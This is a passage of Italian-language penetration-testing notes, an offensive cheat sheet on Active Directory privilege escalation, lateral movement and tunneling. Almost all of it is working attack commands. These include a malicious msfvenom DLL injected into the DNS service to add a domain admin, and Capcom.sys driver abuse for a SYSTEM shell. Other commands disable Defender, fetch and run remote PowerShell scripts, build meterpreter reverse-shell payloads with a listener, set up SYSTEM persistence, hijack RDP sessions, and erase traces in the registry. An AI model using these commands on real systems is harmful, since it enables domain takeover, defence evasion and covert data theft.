msfvenom -p windows/x64/exec cmd='net group "domain admins" <nome utente> /add /domain' -f dll -o <nome dll>.dll #comando di msfvenom che genera un dll malevola con al suo interno un comando CMD per aggiungere un utente al gruppo domain admins e che verrà utilizzata per essere injectata nella configurazione del dns target

La dll malevola va spostata nella macchina target

dnscmd.exe /config /serverlevelplugindll <full path dll malevola>.dll #comando che tramite l'eseguibile dnscmd cambie le impostazioni dns andando ad inserire la dll malevola come plugin server

N.B: il comando di sopra può essere lanciato solo da membri del gruppo DnsAdmins

Ora dobbiamo stoppare e riavviare il servizio dns ma per farlo prima bisogna controllare se abbiamo i permessi per farlo

wmic useraccount where name="<nome utente>" get sid #comand CMD che recuperare il nostro SID, questo servirà per vedere se il SID ha i permessi necessari per il servizio

sc.exe sdshow dns #comando che mostra il security descriptor(SID) del servizio DNS, nell'output dovrà comparire il sid del nostro utente con i dovuti permessi

sc stop dns
sc start dns #comandi per fermare e poi riavviare il servizio dns

Ora fare il logoff per applicare le modifiche e poi rientrare

net localgroup "domain admins" #comando che lista i membri del gruppo, di cui il nostro utente farà parte

Infine se vogliamo ripulire il tutto dopo aver fatto

reg delete \HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll #comando per eliminare le tracce della modifica

sc stop dns
sc start dns #comandi che stoppano e avviano il servizio dns per applicare le nuove modifiche

WPAD record:

WPAD record (Web Proxy Auto-Discovery), è un record all'interno dell'AD che permette ai dispostivi di trovare automaticamente il server proxy; il gruppo "DnsAdmins" permette di configurare la "lista globale di blocco delle query del server DNS", una lista dove troviamo bloccati anche i WPAD record; l'attacco consiste nel disattivare la lista globale e poi aggiungere una WPAD record che punti al nostro pc dove avremmo avviato responder in ascolto delle macchine vittime che hanno l'impostazione WPAD attiva

Comandi:

Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName <nome server dns> #comando per disattivare le global query su una determinata macchina

Add-DnsServerResourceRecordA -Name wpad -ZoneName <nome zona> -ComputerName <nome server dns> -IPv4Address <ip macchina> #comando per aggiungere il WPAD record

Hyper-V Administrators:

E' il gruppo che ha il controllo totale sulle funzioni dell'Hyper-V, questo gruppo tramite questo script ci permetterà di diventare SYSTEM

Print Operators:

Il gruppo print operators tramite il privilegio "SeLoadDriverPrivilege", permette i diritti di accedere, modificare e eliminare tutte i printers collegate ad un Domain Controller

Comandi:

whoami /priv #comando per listare i nostri permessi

Potremmo notare che il privilegio SeLoadDriverPrivilege sarà disattivato, il primo passo è di utilizzare seguente script

#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h" #include che vanno aggiunti al codice dello script

cl /DUNICODE /D_UNICODE <nome file script>.cpp #comando per compilare lo script, in questo caso viene utilizzato cl.exe di Visual Studio

Il secondo passo è di abusare del driver "Capcom.sys", il seguente driver permette ad ogni utente di eseguire shellcode con privilegi di SYSTEM

N.B: il driver se non presente va scaricato e passato alla target machine

reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\<path del driver>" #comando che aggiunge una subkey ImagePath al driver vulnerabile
#la notazione \??\ è una notazione interna che dice di interpretarla in questa maniera C:\<path driver>

reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 #comando che aggiunge una subkey di nome type e la setta a 1

Terzo passo, utilizzare lo script caricato in precedenza, attivare il privilegio e controllare se il driver è stato caricato, per visionare il driver utilizziamo il seguente tool

.\<nome script>.exe #comando che avvia l'eseguibile per attivare il privilegio SeLoadDriverPrivilege

.\DriverView.exe #comando che avvia il tool per vedere i driver

.\DriverView.exe /stext <nome file>.txt
cat <nome file>.txt | Select-String -pattern Capcom #comandi powershell che possono semplificare la ricerca

Infine con il seguente script che va compilato potremmo ottenere una shell con privilegi SYSTEM

.\ExploitCapcom.exe #comando per avviare l'eseguibile

reg delete HKCU\System\CurrentControlSet\Capcom #comando per ripulire le chiavi di registro

N.B: Capita che non si disponga di GUI per utilizzare ExploitCapcom, in questo caso alla linea 292 "TCHAR CommandLine[] = "<comando_da_cambiare>");" del codice invece di creare una shell in locale possiamo fargli aprire un'eseguibile con all'interno una revshell che punti alla nostra macchina

Esiste come al solito un tool che automatizza i passi svolti sopra è chiamato EopLoadDriver

Server Operators:

Il gruppo Server Operators permette di amministrare un windows server senza la necessità dei privilegi di domain admin, in questo gruppo ritroviamo i 2 privilegi "SeBackup" e "SeRestore"

Comandi:

sc qc <nome servizio> #comando che fa una query ad un servizio

converrebbe a noi di cercare un servizio che sia avviato dall'account "SYSTEM" e possiamo vedere i permessi con un'utility chiamata PsService della suite sysinternal-processi

.\PsService.exe security <nome servizio> #comando per ottenere informazioni sul servizio, rispetto a sc ci fornisce maggiore output

N.B: le stesse informazioni possono essere ottenute dal comando "sc", l'utility "PsService" può risultare più veloce nel pratico

Una volta trovato il servizio dove il nostro gruppo ha come privilegi "all", cambiamo il "binary path name"

sc config <nome servizio> binPath= "cmd /c net localgroup Administrators <nome utente> /add" #comando che cambia il binary path name di un servizio con un comando CMD che aggiunge un nostro utente al gruppo degli Administrators

Ora da qui in poi possiamo accedere al domain controller come parte del gruppo amministratore

ClipBoard Logger:

Fonte di informazioni può essere il copia e incolla continuo di un utente

Comandi:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1') #comando per runnare lo script direttamente in memoria

Invoke-ClipboardLogger #comando per avviare lo script

SQLAdmin:

il diritto SQLAdmin permette di amministrare le istanze SQL e se abbiamo le corrette credenziali di chi possiede il diritto possiamo utilizzarlo

N.B: le istanze di mysql sono utilizzate in una tecnica di persistence visionabile qui

PowerUpSQL:

PowerUpSQL script in .ps1 che permette di interagire con l'istanza del db

Comandi:

Import-Module .\PowerUpSQL.ps1 #comando per importare il modulo

Get-SQLInstanceDomain #comando che recupera informazioni sulle istanze di SQL

Get-SQLQuery -Verbose -Instance "<ip target>,<porta>" -username "<dominio>\<utente>" -password "<password>" -query '<query>' #comando che tramite autenticazione esegue una query

mssqlclient.py:

La suite Impacket tramite lo script mssqlclient.py permette di interagire con il db

Kerberos Delegation:

Le kerberos delegation permettono ad un servizio o applicazione di utilizzare le proprie credenziali kerberos a nome di un altro utente, esistono 3 tipi di delegation: Unconstrained Delegation, Constrained Delegation e Resource-based Delegation

Unconstrained Delegation = il più permissivo permette ad un servizio o applicazione di presentare le proprie credenziali (TGT) o quelle di un utente che ha loggato a chiunque altro servizio, applicativo e ecc...
Constrained Delegation = meno permissivo perchè al servizio o applicazione viene specificato solo a quali altri poter dare le proprie credenziali kerberos
Resource-based Delegation = in questo caso le policy di delegazione sono all'interno della risorsa stessa (servizio, computer, applicazione) e specificherà chi può presentare le credenziali kerberos

N.B: Esistono account che hanno la voce l'account è sensibile e non può essere delegato o fanno parte del gruppo degli utenti protetti, in cui le kerberos delegations non funzionano

Unconstrained e Constrained delegation:

Il primo passo è enumerare il sistema per vedere eventuali delegazione e sono due le casistiche:

Trovarsi all'interno della rete target con una macchina windows e possiamo enumerare tramite comandi powershell:

Get-ADUser -Identity <nome utente> -Properties msDS-AllowedToDelegateTo #comando powershell per enumerare le delegations degli utenti

Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 515} -Properties trustedfordelegation,serviceprincipalname,description #comando powershell per enumerare le delegations del gruppo domain computers

Tramite pure il tool PowerView:

Import-Module .\PowerView.ps1 #comando per importare powerview

Get-NetUser -TrustedToAuth #comando powerview per vedere le delegations degli utenti

Get-DomainComputer -TrustedToAuth #comando powerview per vedere le delegations dei domain computers

Trovarsi all'interno della rete target con una macchina linux, possiamo utilizzare uno dei tanti script della suite Impacket:

findDelegation.py <dominio>/<nome utente>:<password> #comando della suite impacket per recupare le delegation

Unconstrained:

Sono due i metodi che permettono di recuperare il TGT:

Mimikatz:

privilege::debug
sekurlsa::tickets /export
kerberos::list /export

N.B: Non scordatevi anche di mimikatz in powershell

Rubeus

Rubeus.exe triage #comando che testa per eventuali ticket

Rubeus.exe dump /nowrap /user:<nome utente> #comando che esperto il TGT per un utente specifico

Rubeus.exe monitor interval:10 /nowrap #comando che ogni 10 secondi monitora per un login

N.B: Anche in questo caso è disponibile Rubeus scritto in powershell disponibile a questo link

Autenticazione forzata:

Quando si ha la possibilità di compromettere un macchina che possiede unconstrained delegation si ha allo stesso l'occassione di poter ottenere ulteriori TGT tramite l'autenticazione forzata di host e server tramite il Printerbug

PrinterBug: Un bug che sfrutta il protocollo RPC e tramite una chiamata permette di poter attivare il servizio

Steps:

I) Controllare che il servizio di Print Spooler sia presente:

rpcdump.py -port 135 <ip> | grep -A 6 "spoolsv"

II) Utiliziamo 2 comandi di powerview per recuperare i computer e i server all'interno dell'AD:

Get-DomainComputer -Properties DnsHostName,OperatingSystem | Where {$_.OperatingSystem -Notlike "*server*"} | Select DnsHostname | Out-File Computers.txt -Encoding "ASCII"
Get-DomainComputer -Properties DnsHostName,OperatingSystem | Where {$_.OperatingSystem -like "*server*"} | Select DnsHostname | Out-File Servers.txt -Encoding "ASCII"

III) Controlliamo che i computer e i server siano vulnerabili tramite lo script in powsershell Get-SpoolStatus

Get-SpoolStatus ForEach ($Computer in Get-Content Computers.txt) {Get-SpoolStatus $Computer}
Get-SpoolStatus ForEach ($Server in Get-Content Servers.txt) {Get-SpoolStatus $Server}

IV) Mettiamo in ascolto Rubeus e forziamo l'autenticazione tramite lo script in powershell

Rubeus.exe monitor /Interval:5 /nowrap

Invoke-Expression (iwr -UseBasicParsing https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Spoolsample.ps1)
Invoke-SpoolSample -Command "<computer o server target> <host compromesso>"

Constrained:

Esistono due estensione aggiuntive nel kerberos che aiutano a capire meglio lo sfruttamento delle delegations:

*Estensioni*	*Descrizione*
S4U2self	Estensione nel protocollo kerberos che permette di richiedere un TGS per se stessi ma a nome di altri utenti è possibile vedere la sua presenza con la flag `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION`
S4U2proxy	Estensione nel protocollo kerberos permette di ottenere un TGS per conto di altri utenti verso i vari servizi specificati alla voce `msDS-AllowedToDelegateTo`

Abbiamo poi inoltre da capire che la constrained delegation può essere impostata con due voci With Protocol Transition o Without Protocol Transition, la differenza sostanziale è che il secondo complica leggermente il procedimento di sfruttamento della delegation non permettondici di poter utilizzare il nostro TGT con S4U2self al fine di utilizzarlo con S4U2proxy ma esiste un'alternativa comunque

Steps:

I) Utilizzando Rubeus possiamo impersonare altri utenti avendo credenziali valide

Rubeus.exe s4u /nowrap /msdsspn:<cifs/target> /impersonateuser:<utente da impersonare> /domain:<dominio> /user:<nome utente compormesso> /password:<password utente compromesso

II) Esiste anche un alternativa tramite la suite Impacket:

getST.py -spn <cifs/target> -dc-ip <ip DC> -impersonate <nome utente da impersonare> <dominio>/<nome utente>:<password>

N.B: Ricorda esiste pure Invoke-Rubeus

Resource-based Delegation:

Anche in questo caso il primo passo è dover enumerare la presenza della delegation:

Get-DomainObject -Identity "<DN del dominio>" -Domain <dominio> | select MachineAccountQuota

Steps:

/TO-DO/

Disattivare Defender:

Defender stesso può mettere i bastoni tra le ruote ma con i dovuti permessi possiamo disattivarlo

Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend #comando completo per disattivare defender

Mitm:

sudo python3 mitm6.py -i <interfaccia di rete> -d <nome dominio target> #tool utilizzato per il man in the middle in ipv6

Tools:

Winpeas = tool molto potente per cercare possibili privesc
PrivescCheck = alternativa a Winpeas se non si vuole eseguire un file binario
Wesng = python script meno rumoroso rispetto a winpeas

N.B prima di startare wesng utilizzare il comando "wes.py --update" per aggiornare il db, poi runnare il comando "systeminfo" ed infine per avviare lo script utilizzare il seguente comando "wes.py systeminfo.txt"

SharpUp

Allegato qui è possibile trovare il link ad un repo contenente alcuni "LOLBAS"(Living Off The Land Binaries)

Lateral movements:

Le tecniche di Lateral Movements permettono di approfondire la conoscenza della rete target muovendosi da a macchina a macchina

Lanciare comandi da remoto:

Psexec64:

Il tool psexec64.exe (integrato nella suite sysinternal di windows), permette di poter lanciare comandi da remoto, richiede di far parte degli Administrator group o avere dei poteri d'amministratore

Comandi:

psexec64.exe \\<ip macchina> -u <user> -p <password> -i <commando> #comando per lanciare da remoto, i doppi backslash sono per quando utilizzamo SMB sennò basta mettere un semplice indirizzo ip

Winexe:

Winexe può risultare un'alternativa a Psexec molto valida in quanto si ha la possibilità di lanciare comandi da remoto dalla nostra machine senza dover caricare nulla sulla macchina vittima

winexe -U '<username>%<password>' //<ip_bersaglio> <comando da remoto> #comando che esegue processi da remoto sfruttando SMB

WinRM:

WinRm permette di poter utilizzare una shell o lanciare comandi powershell sempre da remoto, il gruppo richiesto è quello dei Remote Managemnet Users:

Comandi:

$username = '<user>';
$password = '<passowrd>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; #comando per creare l'oggetto PSSCredential

Enter-PSSession -Computername <ip> -Credential $credential #comando per entrate nella sessione

Invoke-Command -Computername <ip> -Credential $credential -ScriptBlock {whoami} #comando per lanciare altri comandi da remoto

SC.exe:

sc.exe permette di creare processi da remoto, si interfaccia con il Service Control Manager e lo fa tramite RPC e EPM:

Comandi:

sc.exe \\<ip> create <nome servizio> binPath= "<path binario>" #comando per creare il servizio

sc.exe \\<ip> start <nome servizio> #comando per startarlo

sc.exe \\<ip> stop <nome servizio> #comando per stopparlo

sc.exe \\<ip> delete <nome servizio> #comando per eliminarlo

Task scheduler:

Tramite schtasks possiamo creare dei tasks da remoto o anche da locale che in un determinato tempo si ripetono o meno, gruppo richiesto Administrators group o avere dei privilegi

Comandi:

schtasks /s <ip> /RU "SYSTEM" /create /tn "<nome task>" /tr "<comando>" /sc ONCE /sd 01/01/1970 /st 00:00 #comando per creare un taks con diversi parametri

schtasks /s <ip> /run /TN "<nome task>" #comando per avviarlo

schtasks /S <ip> /TN "<nome task>" /DELETE /F #comando per eliminarlo

Comandi che possiamo eseguire sulla machine target:

schtasks /create /sc onlogon /tn "TempCleaner" /ru SYSTEM /tr \Appdata\Local\Virtualstore\taskevents.exe #comando che ad ogni logon ritorna una shell come system

WMI:

WMI(Windows Management Instrumentation) è utilizzato per la gestione delle risorse locali e di rete, possiamo persino creare processi, servizi e schedule tasks e fa tutto questo da remoto tramite 2 protocolli DCOM o Wsman (WinRM)

N.B: Gruppo richiesto Administrators group

Porte 135, 49152-65535 (MSRPC)

5985/TCP (WinRM HTTP) o 5986/TCP (WinRM HTTPS)

Comandi per creare una sessione:

$username = '<user>';
$password = '<passowrd>';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; #comando per creare l'oggetto PSSCredential

$Opt = New-CimSessionOption -Protocol DCOM #comando che crea un oggetto CIM in cui è specificato il protocollo DCOM 
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop #comando che crea la sessione CMI
#CMI è strettamente correlato con WMI

Comandi per creare un processo da remoto:

$Command = "<comando da inserire>"; #variabile contente il processo

ES: powershell.exe -Command Set-Content -Path C:\Windows\hello.txt -Value hello

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $Command} #comando per creare il processo

wmic.exe /user:<nome utente> /password:<password> /node:<ip> process call create <comando>" #stesso comando ma per CMD

Comandi per creare un servizio da remoto:

Invoke-CimMethod -CimSession <sessione> -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "<nome servizio";
DisplayName = "<nome>";
PathName = "<comando>";
ServiceType = [byte]::Parse("16"); # Win32OwnProces
StartMode = "Manual"
} #comando con relativi dettagli per creare un servizio

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE <nome>'" #variabile che contiene informazioni per creare 
l'handle del servizio

Invoke-CimMethod -InputObject $Service -MethodName StartService/StopService/Delete #comando che preso l'handle, avvia/ferma/elimina il servizio

Comandi per creare un task da remoto:

$Command = "<comando o eseguibile>" 
$Args = "<argomenti del comando>" #commando e argomenti vanno divisi e inseriti in variabili d'ambiente

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args #comando per la creazione dell'azione nello schedule

Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "<nome task>" #comando per la registrazione del task

Start-ScheduledTask -CimSession $Session -TaskName "<nome task>" #comando che avvia il task

Unregister-ScheduledTask -CimSession $Session -TaskName "<nome task>" #comando per eliminarlo

Comandi per installare un nostro MSI installer:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "<path installer>"; Options = ""; AllUsers = $false} #comando per installare un nostro MSI

wmic /node:<ip> /user:<eventuale dominio>\<utente> product call install PackageLocation=<Path installer> #stesso comando ma per CMD

RDP hijacking:

RDP hijacking funziona se vi è una connessione RDP dove è chiusa e non è stato fatto il logout e quindi solo con il reboot del server si potrà chiudere definitivamente, funziona sulle versioni di windows server 2016, nella 2019 richiede la password.

Comandi:

#runnato con privilegi di SYSTEM
query user #query delle sessioni attive, se nell'output notiamo una sessione in state DISC significa che è vulnerabile

OUPUT di esempio:

USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
administrator         rdp-tcp#6           3  Active          .  6/3/2023 5:09 AM
serverAdmin                               4  Disc            .  6/7/2023 7:51 AM

tscon 4 /dest:rdp-tcp#6 #comando per dire di legare la sessione di ID 4 alla nostra che è la 3

Winrs:

Utilizzando il comando winrs che sfrutta il protocollo Windows remote Management di winrm, permette di eseguire comandi da remoto tra macchine windows evitando di utilizzare "PSRemoting"

winrs /r:<server> /domain:<dominio> /username:<nome utente> /password:<password> /noecho /noprofile #comando per connettersi da remoto tramite winrs

DCOM:

Teoria del DCOM

Comandi:

$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<ip remoto>")) #comando per stabiliare la connessione con l'ip remoto

$a.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c echo ciao > C:\esempio.txt","7") #comando esempio per creare un file di testo sulla macchina remota

ls \\<ip remoto>\C$ #comando per vedere se il file è stato creato

Port Forwarding:

Tramite tecniche di port forwarding è possibile fare pivoting tra le macchine

SSH Tunneling:

Remote port Forwarding:

N.B: I comandi ssh utilizzati vengono lanciati da un'ipotetica macchina compromessa verso varie macchine target.

Comandi:

useradd <nome user> -m -d <path directory user> -s <shell da utilizzare> #comando per creare un utente sulla macchina compromessa che verrà utilizzato per la connessione SSH con le altre macchine target

passwd <password> #comando per impostare password

ssh <nome utente>@<ip> -R <porta aperta della propria machine>:<ip remoto>:<porta target> -N #comando che si connette alla macchina compromessa e che poi binda una porta remota con la propria porta, -N per creare solo la connessione

ES:

ssh [email protected] -R 3389:3.2.2.2:3389 -N /3389 porta RDP/

xfreerdp /v:127.0.0.1 /u:user /p:passwd123

Local port Forwarding:

N.B: I comandi ssh utilizzati vengono lanciati da un'ipotetica macchina compromessa verso varie macchine target.

Comandi:

ssh <nome utente>@<ip> -L *:<porta della propria macchina>:<ip target>:<porta target> -N #comando che si connetta alla macchina compromessa, mettiamo in ascolto tutte le interfacce di rete disponibili e che poi binda la nostra porta con quella target remota

ssh <nome utente>@<ip> -L <porta locale>:<ip remoto>:<porta remota> <porta locale>:<ip remoto>:<porta remota> #comando per fare il local forward di più porte

netsh advfirewall firewall add rule name="<nome regola>" dir=<specifica direzione> action=<azione> protocol=<protocollo> localport=<porta> #comando per modificare le regole del firewall della nostra kali machine, a seconda del tunneling creato

ES:

ssh [email protected] -L *:80:127.0.0.1:80 -N

Ci andremo a connettere alla macchina compromessa con "[email protected]" subito dopo indichiamo di creare un socket "*.80" che ascolta su tutte le interfacce di rete disponibili alla porta 80, per poi bindarla con "127.0.0.1:80" la porta 80 della macchina vittima su cui è stato lanciato il comando SSH con il proprio indirizzo quindi quello di loopback.

netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

Verrà creato una regola che permette connessioni in ingresso alla porta 80.

Dynamic Forwarding con proxychains:

Dynamic forwarding locale è utilizzato come tecnica di pivoting per le reti, tutti i comandi vengono prima inviati al "Socks" locale e poi alla macchina target

Comandi:

Il primo comando si connette alla machine target e nel mentre inizializza il proxysocks all'indirizzo "127.0.0.1:9050"

ssh -D 9050 <user>@<ip> #comando per abilitare il dynamic forwarding

tail -4 /etc/proxychains.conf #comando per vedere se proxysocks è stato settato

I seguenti comandi avviano nmap che a seconda dei parametri o comandi assegnati passano per "proxychains" e li esegue sulla macchina connessa ad SSH

proxychains nmap -v -sn <ip> #comando che runna nmap e poi tramite proxychains redirecta i comandi

proxychains nmap -v -Pn -sT <ip> #comando per runnare nmap verso una macchina windows sempre utilizzando le proxychains

proxychains nmap -iflist #comando per runnare nmap e lista le interfacce di rete disponibili

ES:

ssh -D 9050 [email protected]

proxychains nmap -v -sn 176.14.5.1-200

*Percorso pacchetti*
nmap----> 127.0.0.1:9050----> SSH:///[email protected]> scanning delle reti 176.14.5.1-200

Senza Proxysocks non avremmo avuto la possibilità di forwardare i pacchetti di nmap per scannerizzare le subnet scritte perchè solo con una semplice connessione SSH non sarebbe stato possibile

Metasploit e Proxychains:

Possiamo utilizzare le proxychains insieme a metasploit con la sua vasta gamme di moduli

Comandi:

proxychains msfconsole #comando per avviare msfconsole con le proxychains

RDP e Proxychains:

Abbiamo la possibilità di connettersi con RDP passando sempre per le proxychains, quindi per esempio accedere ad una macchina che normalmente non sarebbe accessibile

Comandi:

proxychains xfreerdp /v:<ip> /u:<user> /p:<password> /dynamic-resolution #comando per avviare una connessione RDP utilizzando le proxychains

Shuttle via SSH:

Shuttle è uno script python che funziona solo tramite SSH, è abbastanza veloce perchè in pochi comandi prepara tutte le route table

Comandi:

sudo apt-get install sshuttle #comando per installare sshuttle

sudo sshuttle -r <nome user>@<ip> <subnet> -v # #comando che si connette ad SSH e aggiunge alle route table la subnet specificata

Questi 2 comandi hanno permesso di preparare il tutto e possiamo lanciare ulteriori comandi di esempio:

nmap -v -sV -p3389 192.168.5.23 -A -Pn

Netsh:

Netsh (Network shell) è la shell messa a disposizione da windows per l'ordinaria amministrazione di rete di un pc windows ma nel nostro caso può essere usato a nostro vantaggio come: scoprire eventuali rotte di rete, vedere la configurazione del firewall, aggiungere proxy, ecc...

Comandi:

netsh.exe interface portproxy add <protocollo> listenport=<porta in ascolto> listenaddress=<ip in ascolto> connectport=<porta a cui connettersi> connectaddress=<ip a cui connettersi> #comando che fa il forwarding di una porta remota ad una porta in ascolto

netsh.exe interface portproxy show <protocollo> #comando per visualizzare com'è avvenuto il forward delle porte

ES: netsh.exe interface portproxy add v4tov4 listenport=7000 listenaddress=12.122.13.13 connectport=139 connectaddress=173.14.22.22

Andando ad utilizzare il socket "12.122.13.13:7000" che ha forwardato la porta "139" alla sua "7000", potremmo visionare il servizio SMB

Chisel:

Chisel è un tool di tunneling molto utilizzato perchè scritto nel linguaggio Go quindi ha anche un fattore di velocità a suo vantaggio, sfrutta pure lui socks

Comandi:

git clone https://github.com/jpillora/chisel.git 
cd chisel
sudo apt install gccgo-go 
go build #comandi per copiare e preparare il tool

scp chisel <nome utente>@<ip>:<path dove salvarlo> #comando per passare il binario di chisel alla macchina vittima

Chisel permette due modalità la standard dove il chisel server è la macchina vittima mentre il chisel client è la nostra macchina ma può accadere che vi sia di mezzo un firewall che blocchi le connessioni in entrata ed è per questo che chisel mette a disposizione la modalità "reverse" cioè il chisel server lo diverrà la nostra macchina mentre il chisel client lo sarà la macchina vittima

N.B: Le varie librerie Go a disposizione nelle macchine target potrebbero non essere aggiornato o del tutto mancanti, quindi va posta un po' di attenzione

Chisel standard:

chisel server -v -p <porta> --socks5 #comando che avvia il chisel server sulla macchina vittima con utilizzo di socks5 e si tiene in ascolto su una porta selezionata

chisel client -v <ip server chisel>:<porta server chisel in ascolto> socks #comando che avvia il chisel client sulla nostra macchina ed esegue la connessione

nano /etc/proxychains.conf #comando che permette la modifica del file proxychains.conf
socks5 127.0.0.1 1080 #scritta da aggiungere alla fine del file per utilizzare socks5 in quanto sia chisel client che chisel server ascoltano al socket di rete 127.0.0.1:1080

Chisel reverse:

chisel server --reverse -v -p <porta> --socks5 #comando che avvia il chisel server sulla nostra macchina con utilizzo di socks5 e si tiene in ascolto su una porta selezionata

chisel client -v <ip server chisel>:<porta server chisel in ascolto> R:socks #comando che avvia il chisel client sulla macchina vittima ed esegue la connessione

nano /etc/proxychains.conf #comando che permette la modifica del file proxychains.conf
socks5 127.0.0.1 1080 #scritta da aggiungere alla fine del file per utilizzare socks5 in quanto sia chisel client che chisel server ascoltano al socket di rete 127.0.0.1:1080

Ora tranquillamente con entrambi i metodi possiamo lanciare un comando per esempio, verso un host sotto subnet che non potevamo raggiungere prima

ES: proxychains xfreerdp /v:192.168.2.13 /u:user /p:pass #esempio di un comando che esegue una connessione RDP verso una macchina che prima non era possibile raggiungere

Reverse shell via forwarding:

Ottenere una revshell via forwarding consiste nel sapersi muovere con le porte in modo da poter ottenere una revshell di una macchina non accessibile dall'esterno

In questo caso verrà esaminato l'insieme del dynamic port forwarding e del remote port forwarding per ottenere una revshell, abbiamo 3 macchine una kali machine la nostra macchina, un ubuntu server di mezzo e una windows server per ottenere una revshell

Spiegazione tecnica:

kali machine con listener meterpreter su 0.0.0.0:8000---> SSH che binda la porta 8080 dell'ubuntu con la 8000 della kali machine ----> ubuntu server con porta 8080 in ascolto ----> windows server con eseguibile malevolo che se runnato punta alla porta 8080 e indirizzo del server ubuntu, il quale server tramite comando SSH binda la sua 8080 alla 8000 della kali e che alla fine ci fa ottenere la revshell

Comandi:

ssh -D 9050 <nome user>@<ip ubuntu server> #comando che si connette con SSH al ubuntu server e abilita alla kali machine i proxysocks

proxychains xfreerdp /v:<ip> /u:<user> /p:<password> /dynamic-resolution #comando per avviare una connessione RDP utilizzando le proxychains, la windows ha la porta RDP aperta

msfvenom -p windows/x64/meterpreter/reverse_https lhost= <ip ubuntu server> -f exe -o <nome eseguibile>.exe LPORT=8080 #comando che crea l'eseguibile che punta alla porta 8080 dell'ubuntu

msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 0.0.0.0; set lport 8000; exploit" #comando che crea il listener sulla kali

Ora andrà passato prima l'eseguibile all'ubuntu server e poi alla windows machine per sapere come fare andare qui per poi bindare tutte le porte con il comando SSH specifico

ssh -R <ip ubuntu server>:8080:0.0.0.0:8000 ubuntu@<ip ubuntu server> -vN #comando che si connette all'ubuntu server e binda in remote la porta 8080 dell'ubuntu server con la 8000 della kali

eseguiamo il .exe malevolo "(abbiamo la connessione RDP alla windows)" e potremo notare che al listener sarà avvenuta la connessione

Socat Forwarding:

Socat può essere utilizzato quando SSH non è disponibile, ed è anche molto piu "forte" in quando utilizzandolo su una macchina vittima permette di aprire un listener su una porta e nel mentre si può fare il binding con un'altra porta

N.B: Va caricato sulla macchina compromessa e può essere maggiormente rilevabile rispetto al semplice SSH. I comandi ssh utilizzati vengono lanciati dalla macchina compromessa verso le macchine target.

Comandi:

socat TCP4-LISTEN:<porta macchina compromessa>,fork TCP4:<ip target>:<porta target> #comando per bindare una porta con socat e in seguito utilizzarla

ES:

socat TCP4-LISTEN:3389,fork TCP4:3.5.4.3:3389

Andremo a bindare la porta della 3389 della macchina compromessa alla 3389 del ip specificato, per poi poterla visitare tramite browser

TCP4-LISTEN:80,fork TCP4:<ip_della_nostra_macchina>:80

Andremo a bindare la porta 80 della macchina compromessa alla 80 della nostra machine.

DNS Tunneling:

Il DNS tunneling sfrutta lo stesso concetto del SSH tunneling solo tramite il protocollo DNS ed ha il vantaggio di essere meno rilevabile, in quanto in una rete le richieste DNS possono essere moltissime mentre quelle SSH in minor numero

DnsCat2:

Tool in ruby utilizzato per il DNS tunneling va settato un server sulla nostra macchina e un client sulla macchina vittima

Comandi:

git clone https://github.com/iagox86/dnscat2.git 
cd dnscat2/server/
sudo gem install bundler
bundle install #comando per copiare e rendere operativo il tool

sudo ruby dnscat2.rb --dns host=<ip della propria macchina>,port=53,domain=<dominio se c'è> --no-cache #comando che setta il server

N.B: Ricordarsi di copiare e incollare il campo --secret dopo aver avviato il server, perchè la chiave verrà passata poi al client per l'autenticazione

git clone https://github.com/lukebaggett/dnscat2-powershell.git #comando per scaricare il .ps1 da mandare alla macchina windows target

N.B: Il .ps1 va passato alla macchina vittima per sapere come fare andare qui

Import-Module .\dnscat2.ps1 #comando che importa il modulo nella powershell

Start-Dnscat2 -DNSserver <ip server dns> -Domain <dominio se c'è> -PreSharedSecret <chiave per l'autenticazione> -Exec <comando da eseguire> #comando che prepara il client DNS sulla macchina vittima

dnscat2> ? #comando di dnscat2 per aprire l'help

dnscat2> windows -i <num finestra creata> #comando di dnscat2 per entrare nella finestra creata con il dns tunneling

N.B: il tool ha un ritardo abbastanza sostanzioso nel mandare e ricevere i comandi

ICMP Tunneling con Socks:

L'ICMP tunneling consiste nel tunneling tramite un client e un server, vengono sfruttati i pacchetti ICMP. Vi è un però in questo tipo di tunneling; è possibile solo se il firewall permette di utilizzare il comando ping all'interno della rete

Comandi:

git clone https://github.com/utoni/ptunnel-ng.git
cd ptunnel-ng
sudo apt install autoconf #installarlo se non si ha il pacchetto
sudo ./autogen.sh #comandi per costruire ptunnerl.ng

